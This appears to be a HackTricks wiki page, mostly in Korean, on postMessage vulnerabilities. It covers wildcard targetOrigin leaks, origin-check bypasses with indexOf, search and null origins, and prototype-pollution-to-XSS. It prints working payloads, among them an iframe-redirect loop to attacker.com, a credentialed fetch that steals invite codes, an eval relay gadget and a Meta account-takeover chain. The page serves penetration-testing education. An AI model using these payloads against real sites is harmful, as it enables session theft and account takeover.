PostMessage ์ทจ์•ฝ์ 

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ „์†ก PostMessage

PostMessage๋Š” ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ด๊ธฐ ์œ„ํ•ด ๋‹ค์Œ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

์ฐธ๊ณ ๋กœ targetOrigin์€ โ€˜*โ€™ ๋˜๋Š” https://company.com. ๊ฐ™์€ URL์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\
๋‘ ๋ฒˆ์งธ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” message๋Š” ํ•ด๋‹น ๋„๋ฉ”์ธ์œผ๋กœ๋งŒ ์ „์†ก๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (window ๊ฐ์ฒด์˜ origin์ด ๋‹ค๋ฅด๋”๋ผ๋„).\
๋งŒ์•ฝ wildcard๊ฐ€ ์‚ฌ์šฉ๋˜๋ฉด, messages๋Š” ์–ด๋–ค ๋„๋ฉ”์ธ์œผ๋กœ๋“  ์ „์†ก๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, Window ๊ฐ์ฒด์˜ origin์œผ๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค.

targetOrigin์˜ iframe & wildcard ๊ณต๊ฒฉ

์•ž์„œ this report์—์„œ ์„ค๋ช…ํ•œ ๊ฒƒ์ฒ˜๋Ÿผ, ๋งŒ์•ฝ ํ”„๋ ˆ์ž„์œผ๋กœ ํฌํ•จ๋  ์ˆ˜ ์žˆ๋Š” ํŽ˜์ด์ง€(iframed, no X-Frame-Header protection)๋ฅผ ์ฐพ๊ณ  ๊ทธ ํŽ˜์ด์ง€๊ฐ€ wildcard(*)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ postMessage๋กœ sending sensitive message๋ฅผ ์ „์†กํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, iframe์˜ origin์„ modifyํ•˜์—ฌ ๊ทธ sensitive message๋ฅผ ๋‹น์‹ ์ด ์ œ์–ดํ•˜๋Š” ๋„๋ฉ”์ธ์œผ๋กœ leakํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\
ํŽ˜์ด์ง€๋Š” iframed ๋  ์ˆ˜ ์žˆ์ง€๋งŒ targetOrigin์ด wildcard๊ฐ€ ์•„๋‹ˆ๋ผ URL๋กœ ์„ค์ •๋˜์–ด ์žˆ๋‹ค๋ฉด, ์ด trick์€ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener exploitation

addEventListener ๋Š” JS์—์„œ postMessages๋ฅผ ๊ธฐ๋Œ€ํ•˜๋Š” ํ•จ์ˆ˜๋ฅผ ์„ ์–ธํ•  ๋•Œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
๋‹ค์Œ๊ณผ ์œ ์‚ฌํ•œ ์ฝ”๋“œ๊ฐ€ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค:

window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesnโ€™t check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).

์—ด๊ฑฐ

ํ˜„์žฌ ํŽ˜์ด์ง€์—์„œ event listeners ์ฐพ๊ธฐ ์œ„ํ•ด ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค:

  • JS ์ฝ”๋“œ์—์„œ window.addEventListener์™€ $(window).on ๊ฒ€์ƒ‰ (JQuery version)
  • ๊ฐœ๋ฐœ์ž ๋„๊ตฌ ์ฝ˜์†”์—์„œ ์‹คํ–‰: getEventListeners(window)

  • ๊ฐœ๋ฐœ์ž ๋„๊ตฌ์—์„œ ์ด๋™: Elements โ€“> Event Listeners

Origin ์ฒดํฌ ์šฐํšŒ

  • event.isTrusted ์†์„ฑ์€ genuine user actions๋กœ ์ƒ์„ฑ๋œ ์ด๋ฒคํŠธ์—์„œ๋งŒ True๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฏ€๋กœ ์•ˆ์ „ํ•˜๋‹ค๊ณ  ๊ฐ„์ฃผ๋œ๋‹ค. ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ตฌํ˜„๋˜์–ด ์žˆ๋‹ค๋ฉด ์šฐํšŒํ•˜๊ธฐ ์–ด๋ ต์ง€๋งŒ, ๋ณด์•ˆ ๊ฒ€์‚ฌ์—์„œ์˜ ์ค‘์š”์„ฑ์€ ํฌ๋‹ค.
  • PostMessage ์ด๋ฒคํŠธ์—์„œ origin ๊ฒ€์ฆ์— **indexOf()**๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์€ ์šฐํšŒ๋  ์ˆ˜ ์žˆ๋‹ค. ์˜ˆ์‹œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • String.prototype.search()์˜ search() ๋ฉ”์„œ๋“œ๋Š” ๋ฌธ์ž์—ด์ด ์•„๋‹Œ ์ •๊ทœ์‹์šฉ์œผ๋กœ ์„ค๊ณ„๋˜์—ˆ๋‹ค. regexp๊ฐ€ ์•„๋‹Œ ๊ฐ’์„ ์ „๋‹ฌํ•˜๋ฉด ์•”๋ฌต์ ์œผ๋กœ ์ •๊ทœ์‹์œผ๋กœ ๋ณ€ํ™˜๋˜์–ด ๋ฉ”์„œ๋“œ๊ฐ€ ์ž ์žฌ์ ์œผ๋กœ ์•ˆ์ „ํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ๋‹ค. ์ •๊ทœ์‹์—์„œ ์ (.)์€ ์™€์ผ๋“œ์นด๋“œ๋กœ ๋™์ž‘ํ•˜๋ฏ€๋กœ, ํŠน์ˆ˜ํ•˜๊ฒŒ ์กฐ์ž‘๋œ ๋„๋ฉ”์ธ์„ ํ†ตํ•ด ๊ฒ€์ฆ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค. ์˜ˆ๋ฅผ ๋“ค๋ฉด:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • match() ํ•จ์ˆ˜๋„ search()์™€ ์œ ์‚ฌํ•˜๊ฒŒ ์ •๊ทœ์‹์„ ์ฒ˜๋ฆฌํ•œ๋‹ค. ์ •๊ทœ์‹์ด ์ž˜๋ชป ๊ตฌ์„ฑ๋˜์–ด ์žˆ์œผ๋ฉด ์šฐํšŒ๋  ์ˆ˜ ์žˆ๋‹ค.

  • escapeHtml ํ•จ์ˆ˜๋Š” ๋ฌธ์ž๋ฅผ ์ด์Šค์ผ€์ดํ”„ํ•˜์—ฌ ์ž…๋ ฅ์„ ์†Œ๋…ํ•˜๋ ค๋Š” ๋ชฉ์ ์ด๋‹ค. ํ•˜์ง€๋งŒ ์ƒˆ๋กœ์šด ์ด์Šค์ผ€์ดํ”„๋œ ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•˜์ง€ ์•Š๊ณ  ๊ธฐ์กด ๊ฐ์ฒด์˜ ์†์„ฑ์„ ๋ฎ์–ด์“ด๋‹ค. ์ด ๋™์ž‘์€ ์•…์šฉ๋  ์ˆ˜ ์žˆ๋‹ค. ํŠนํžˆ, ์ œ์–ด ๊ฐ€๋Šฅํ•œ ๊ฐ์ฒด์˜ ์†์„ฑ์ด hasOwnProperty๋ฅผ ์ธ์‹ํ•˜์ง€ ๋ชปํ•˜๋„๋ก ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, escapeHtml์€ ์˜ˆ์ƒ๋Œ€๋กœ ๋™์ž‘ํ•˜์ง€ ์•Š๋Š”๋‹ค. ์•„๋ž˜ ์˜ˆ์ œ์—์„œ ์ด๋ฅผ ๋ณด์—ฌ์ค€๋‹ค:

  • ์˜ˆ์ƒ ์‹คํŒจ:

result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • escape ์šฐํšŒ:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

์ด ์ทจ์•ฝ์ ์˜ ๋งฅ๋ฝ์—์„œ, File ๊ฐ์ฒด๋Š” ์ฝ๊ธฐ ์ „์šฉ name ์†์„ฑ ๋•Œ๋ฌธ์— ํŠนํžˆ ์•…์šฉ ๊ฐ€๋Šฅํ•˜๋‹ค. ์ด ์†์„ฑ์€ ํ…œํ”Œ๋ฆฟ์—์„œ ์‚ฌ์šฉ๋  ๋•Œ escapeHtml์— ์˜ํ•ด ์†Œ๋…๋˜์ง€ ์•Š์•„ ๋ณด์•ˆ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ๋‹ค.

  • ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์˜ document.domain ์†์„ฑ์€ ์Šคํฌ๋ฆฝํŠธ์— ์˜ํ•ด ๋„๋ฉ”์ธ์„ ์ถ•์•ฝํ•˜๋„๋ก ์„ค์ •๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋™์ผํ•œ ์ƒ์œ„ ๋„๋ฉ”์ธ ๋‚ด์—์„œ ๋” ๋А์Šจํ•œ same-origin ์ •์ฑ… ์ ์šฉ์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

Origin-only trust + trusted relays

์ˆ˜์‹ ์ž๊ฐ€ **event.origin**๋งŒ ๊ฒ€์‚ฌํ•˜๋Š” ๊ฒฝ์šฐ(์˜ˆ: *.trusted.com์„ ๋ชจ๋‘ ์‹ ๋ขฐ), ํ•ด๋‹น origin์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ postMessage๋ฅผ ํ†ตํ•ด ์ œ๊ณต๋œ targetOrigin/targetWindow๋กœ ๋ฐ˜์‚ฌํ•˜๋Š” โ€œrelayโ€ ํŽ˜์ด์ง€๋ฅผ ์ข…์ข… ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค. ์˜ˆ์‹œ๋กœ๋Š” ์ฟผ๋ฆฌ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›์•„ {msg_type, access_token, ...}๋ฅผ opener/parent๋กœ ์ „๋‹ฌํ•˜๋Š” marketing/analytics ๊ฐ€์ ฏ์ด ์žˆ๋‹ค. ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ๋‹ค:

  • opener๊ฐ€ ์žˆ๋Š” popup/iframe์—์„œ ํ”ผํ•ด์ž ํŽ˜์ด์ง€๋ฅผ ์—ด์–ด ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ๋“ฑ๋ก๋˜๊ฒŒ ํ•œ๋‹ค(๋งŽ์€ ํ”ฝ์…€/SDK๋Š” window.opener๊ฐ€ ์กด์žฌํ•  ๋•Œ๋งŒ ๋ฆฌ์Šค๋„ˆ๋ฅผ ๋ถ™์ž„).
  • ๋‹ค๋ฅธ ๊ณต๊ฒฉ์ž ์ฐฝ์„ ์‹ ๋ขฐ๋œ origin์˜ relay ์—”๋“œํฌ์ธํŠธ๋กœ ์ด๋™์‹œ์ผœ, ์ฃผ์ž…ํ•˜๊ณ ์ž ํ•˜๋Š” ๋ฉ”์‹œ์ง€ ํ•„๋“œ(๋ฉ”์‹œ์ง€ ํƒ€์ž…, ํ† ํฐ, nonce ๋“ฑ)๋ฅผ ์ฑ„์šด๋‹ค.
  • ๋ฉ”์‹œ์ง€๊ฐ€ ์ด์ œ trusted origin์—์„œ ์˜จ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด๋ฏ€๋กœ, origin-only ๊ฒ€์ฆ์„ ํ†ต๊ณผํ•˜๊ณ  ํ”ผํ•ด์ž ๋ฆฌ์Šค๋„ˆ์—์„œ ๊ถŒํ•œ ์žˆ๋Š” ๋™์ž‘(์ƒํƒœ ๋ณ€๊ฒฝ, API ํ˜ธ์ถœ, DOM ์“ฐ๊ธฐ ๋“ฑ)์„ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ๋‹ค.

์‹ค์ „์—์„œ ๊ด€์ฐฐ๋œ ์•…์šฉ ํŒจํ„ด:

  • Analytics SDK๋“ค(์˜ˆ: pixel/fbevents-style)์€ FACEBOOK_IWL_BOOTSTRAP ๊ฐ™์€ ๋ฉ”์‹œ์ง€๋ฅผ ์†Œ๋น„ํ•œ ํ›„, ๋ฉ”์‹œ์ง€์— ํฌํ•จ๋œ ํ† ํฐ์„ ์‚ฌ์šฉํ•ด ๋ฐฑ์—”๋“œ API๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ์š”์ฒญ ๋ณธ๋ฌธ์— **location.href / document.referrer**๋ฅผ ํฌํ•จ์‹œํ‚จ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ์ž์ฒด ํ† ํฐ์„ ์ œ๊ณตํ•˜๋ฉด ํ•ด๋‹น ํ† ํฐ์˜ ์š”์ฒญ ์ด๋ ฅ/๋กœ๊ทธ์—์„œ ์ด๋Ÿฌํ•œ ์š”์ฒญ์„ ์ฝ๊ณ  ํ”ผํ•ด์ž ํŽ˜์ด์ง€์˜ URL/referrer์— ์žˆ๋Š” OAuth ์ฝ”๋“œ/ํ† ํฐ์„ exfilํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ์ž„์˜์˜ ํ•„๋“œ๋ฅผ postMessage๋กœ ๋ฐ˜์‚ฌํ•˜๋Š” ์–ด๋–ค relay๋“ , ๊ถŒํ•œ ์žˆ๋Š” ๋ฆฌ์Šค๋„ˆ๊ฐ€ ๊ธฐ๋Œ€ํ•˜๋Š” ๋ฉ”์‹œ์ง€ ํƒ€์ž…์„ ์Šคํ‘ธํ•‘ํ•˜๊ฒŒ ํ•ด์ค€๋‹ค. ์ทจ์•ฝํ•œ ์ž…๋ ฅ ๊ฒ€์ฆ๊ณผ ๊ฒฐํ•ฉํ•˜๋ฉด Graph/REST ํ˜ธ์ถœ, ๊ธฐ๋Šฅ ์ž ๊ธˆ ํ•ด์ œ, ๋˜๋Š” CSRF์™€ ์œ ์‚ฌํ•œ ํ๋ฆ„์— ๋„๋‹ฌํ•  ์ˆ˜ ์žˆ๋‹ค.

ํ—ŒํŒ… ํŒ: postMessage ๋ฆฌ์Šค๋„ˆ ์ค‘ event.origin๋งŒ ๊ฒ€์‚ฌํ•˜๋Š” ๊ฒƒ๋“ค์„ ์—ด๊ฑฐ(enumerate)ํ•œ ๋‹ค์Œ, URL ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ postMessage๋กœ ์ „๋‹ฌํ•˜๋Š” same-origin HTML/JS ์—”๋“œํฌ์ธํŠธ(marketing previews, ๋กœ๊ทธ์ธ ํŒ์—…, OAuth ์˜ค๋ฅ˜ ํŽ˜์ด์ง€)๋ฅผ ์ฐพ์•„๋ผ. window.open() + postMessage๋ฅผ ์กฐํ•ฉํ•ด origin ๊ฒ€์ฆ์„ ์šฐํšŒํ•˜๋ผ.

e.origin == window.origin ์šฐํšŒ

sandboxed iframe์„ %%%%%% ์‚ฌ์šฉํ•ด ์ž„๋ฒ ๋“œํ•  ๋•Œ, iframe์˜ origin์ด null๋กœ ์„ค์ •๋œ๋‹ค๋Š” ์ ์„ ์ดํ•ดํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•˜๋‹ค. ์ด๋Š” sandbox ์†์„ฑ๊ณผ ๊ทธ ๋ณด์•ˆ ๋ฐ ๊ธฐ๋Šฅ ์˜ํ–ฅ๊ณผ ๊ด€๋ จํ•˜์—ฌ ํŠนํžˆ ์ค‘์š”ํ•˜๋‹ค.

sandbox ์†์„ฑ์— **allow-popups**๋ฅผ ์ง€์ •ํ•˜๋ฉด, iframe ๋‚ด๋ถ€์—์„œ ์—ด๋ฆฐ ๋ชจ๋“  popup ์ฐฝ์€ ๋ถ€๋ชจ์˜ sandbox ์ œํ•œ์„ ์ƒ์†ํ•œ๋‹ค. ๋”ฐ๋ผ์„œ allow-popups-to-escape-sandbox ์†์„ฑ์ด ํฌํ•จ๋˜์ง€ ์•Š์œผ๋ฉด popup ์ฐฝ์˜ origin ์—ญ์‹œ null๋กœ ์„ค์ •๋˜์–ด iframe์˜ origin๊ณผ ์ผ์น˜ํ•œ๋‹ค.

๊ทธ ๊ฒฐ๊ณผ, ์ด๋Ÿฌํ•œ ์กฐ๊ฑด์—์„œ popup์ด ์—ด๋ฆฌ๊ณ  iframe์—์„œ popup์œผ๋กœ **postMessage**๋กœ ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ผ ๊ฒฝ์šฐ, ์†ก์‹  ์ธก๊ณผ ์ˆ˜์‹  ์ธก ๋ชจ๋‘ origin์ด null๋กœ ์„ค์ •๋œ๋‹ค. ์ด ์ƒํ™ฉ์—์„œ๋Š” iframe๊ณผ popup์ด ๋ชจ๋‘ null์ด๋ผ๋Š” ๋™์ผํ•œ origin ๊ฐ’์„ ๊ณต์œ ํ•˜๋ฏ€๋กœ **e.origin == window.origin**์ด true๋กœ ํ‰๊ฐ€๋œ๋‹ค(null == null).

For more information read:

Bypassing SOP with Iframes - 1

e.source ์šฐํšŒ

๋ฉ”์‹œ์ง€๊ฐ€ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋ฆฌ์Šค๋‹ํ•˜๊ณ  ์žˆ๋Š” ๋™์ผํ•œ ์ฐฝ์—์„œ ์™”๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค(ํŠนํžˆ Content Scripts from browser extensions๊ฐ€ ๋ฉ”์‹œ์ง€๊ฐ€ ๋™์ผํ•œ ํŽ˜์ด์ง€์—์„œ ์ „์†ก๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•  ๋•Œ ํฅ๋ฏธ๋กญ๋‹ค):

// If itโ€™s not, return immediately.
if (received_message.source !== window) {
return
}

๋ฉ”์‹œ์ง€์˜ e.source ๊ฐ’์„ null๋กœ ๋งŒ๋“ค๋ ค๋ฉด iframe์ด postMessage๋ฅผ ์ „์†กํ•˜๊ณ  ์ฆ‰์‹œ ์‚ญ์ œ๋˜๋„๋ก ์ƒ์„ฑํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

์ž์„ธํ•œ ๋‚ด์šฉ์€ ์ฝ์–ด๋ณด์„ธ์š”:

Bypassing SOP with Iframes - 2

X-Frame-Header bypass

์ด ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด ์ด์ƒ์ ์œผ๋กœ๋Š” ํ”ผํ•ด์ž ์›น ํŽ˜์ด์ง€๋ฅผ iframe ์•ˆ์— ๋„ฃ์„ ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ X-Frame-Header ๊ฐ™์€ ์ผ๋ถ€ ํ—ค๋”๋Š” ํ•ด๋‹น ๋™์ž‘์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๊ทธ๋Ÿฐ ๊ฒฝ์šฐ์—๋Š” ๋œ ์€๋ฐ€ํ•œ ๊ณต๊ฒฉ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ทจ์•ฝํ•œ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ƒˆ ํƒญ์œผ๋กœ ์—ด๊ณ  ํ•ด๋‹น ํƒญ๊ณผ ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Stealing message sent to child by blocking the main page

๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜๊ธฐ ์ „์— blocking๋œ main ํŽ˜์ด์ง€๋ฅผ ์ด์šฉํ•ด child iframe๋กœ ์ „์†ก๋œ sensitive postmessage data๋ฅผ XSS in the child๋ฅผ ์•…์šฉํ•ด ์ˆ˜์‹ ๋˜๊ธฐ ์ „์— leak the dataํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Blocking main page to steal postmessage

Stealing message by modifying iframe location

X-Frame-Header๊ฐ€ ์—†๋Š” ์›นํŽ˜์ด์ง€๋ฅผ iframeํ•  ์ˆ˜ ์žˆ๊ณ  ๊ทธ ํŽ˜์ด์ง€๊ฐ€ ๋‹ค๋ฅธ iframe์„ ํฌํ•จํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, change the location of that child iframeํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋งŒ์•ฝ ๊ทธ iframe์ด postmessage๋ฅผ wildcard๋กœ ์ „์†ก๋ฐ›๊ณ  ์žˆ๋‹ค๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น iframe์˜ origin์„ ์ž์‹ ์ด controlledํ•˜๋Š” ํŽ˜์ด์ง€๋กœ changeํ•˜์—ฌ ๋ฉ”์‹œ์ง€๋ฅผ stealํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Steal postmessage modifying iframe location

postMessage๋ฅผ ํ†ตํ•œ Prototype Pollution ๋ฐ/๋˜๋Š” XSS

postMessage๋กœ ์ „์†ก๋œ ๋ฐ์ดํ„ฐ๊ฐ€ JS์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š”, ํ•ด๋‹น page๋ฅผ iframeํ•˜๊ณ  postMessage๋กœ ์ต์Šคํ”Œ๋กœ์ž‡์„ ๋ณด๋‚ด prototype pollution/XSS๋ฅผ exploitํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

A couple of very good explained XSS though postMessage can be found in https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Example of an exploit to abuse Prototype Pollution and then XSS through a postMessage to an iframe:

<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

์ถ”๊ฐ€ ์ •๋ณด:

Origin-derived ์Šคํฌ๋ฆฝํŠธ ๋กœ๋”ฉ ๋ฐ ๊ณต๊ธ‰๋ง ํ”ผ๋ฒ— (CAPIG ์‚ฌ๋ก€ ์—ฐ๊ตฌ)

capig-events.js๋Š” window.opener๊ฐ€ ์กด์žฌํ•  ๋•Œ๋งŒ message ํ•ธ๋“ค๋Ÿฌ๋ฅผ ๋“ฑ๋กํ–ˆ์Šต๋‹ˆ๋‹ค. IWL_BOOTSTRAP ์‹œ์—๋Š” pixel_id๋ฅผ ํ™•์ธํ–ˆ์ง€๋งŒ event.origin์„ ์ €์žฅํ–ˆ๊ณ  ์ดํ›„ ${host}/sdk/${pixel_id}/iwl.js๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” origin์„ ๊ธฐ๋กํ•˜๋Š” ํ•ธ๋“ค๋Ÿฌ ```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```

Exploit (origin โ†’ script-src pivot):

  1. Get an opener: e.g., in Facebook Android WebView reuse window.name with window.open(target, name) so the window becomes its own opener, then post a message from a malicious iframe.
  2. Send IWL_BOOTSTRAP from any origin to persist host = event.origin in localStorage.
  3. Host /sdk/<pixel_id>/iwl.js on any CSP-allowed origin (takeover/XSS/upload on a whitelisted analytics domain). startIWL() then loads attacker JS in the embedding site (e.g., www.meta.com), enabling credentialed cross-origin calls and account takeover.

If direct opener control was impossible, compromising a third-party iframe on the page still allowed sending the crafted postMessage to the parent to poison the stored host and force the script load.

Backend-generated shared script โ†’ stored XSS: the plugin AHPixelIWLParametersPlugin concatenated user rule parameters into JS appended to capig-events.js (e.g., cbq.config.set(...)). Injecting breakouts like "]} injected arbitrary JS, creating stored XSS in the shared script served to all sites loading it.

Trusted-origin allowlist isnโ€™t a boundary

A strict event.origin check only works if the trusted origin cannot run attacker JS. When privileged pages embed third-party iframes and assume event.origin === "https://partner.com" is safe, any XSS in partner.com becomes a bridge into the parent:

// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})

์‹ค์ œ๋กœ ๊ด€์ฐฐ๋œ ๊ณต๊ฒฉ ํŒจํ„ด:

  1. Exploit XSS in the partner iframe ๋ฐ relay gadget๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ๋ชจ๋“  postMessage๊ฐ€ ์‹ ๋ขฐ๋œ origin ๋‚ด๋ถ€์—์„œ code exec๊ฐ€ ๋˜๋„๋ก ํ•จ:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
  1. From the attacker page, ์ทจ์•ฝํ•ด์ง„ iframe์— JS๋ฅผ ๋ณด๋‚ด ๋ถ€๋ชจ๋กœ ํ—ˆ์šฉ๋œ ๋ฉ”์‹œ์ง€ ํƒ€์ž…์„ ์ „๋‹ฌํ•˜๋„๋ก ํ•œ๋‹ค. ๋ฉ”์‹œ์ง€๋Š” partner.com์—์„œ ๋ฐœ์ƒํ•˜๊ณ  allowlist๋ฅผ ํ†ต๊ณผํ•˜๋ฉฐ ์•ˆ์ „ํ•˜์ง€ ์•Š๊ฒŒ ์‚ฝ์ž…๋˜๋Š” HTML์„ ๋‹ด๊ณ  ์žˆ๋‹ค:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
  1. ๋ถ€๋ชจ๊ฐ€ ๊ณต๊ฒฉ์ž HTML์„ ์ฃผ์ž…ํ•˜๋ฉด JS execution in the parent origin(์˜ˆ: facebook.com)์ด ๋ฐœ์ƒํ•˜์—ฌ OAuth ์ฝ”๋“œ๋ฅผ ํƒˆ์ทจํ•˜๊ฑฐ๋‚˜ ์ „์ฒด ๊ณ„์ • ํƒˆ์ทจ ํ๋ฆ„์œผ๋กœ ํ”ผ๋ฒ—ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Key takeaways:

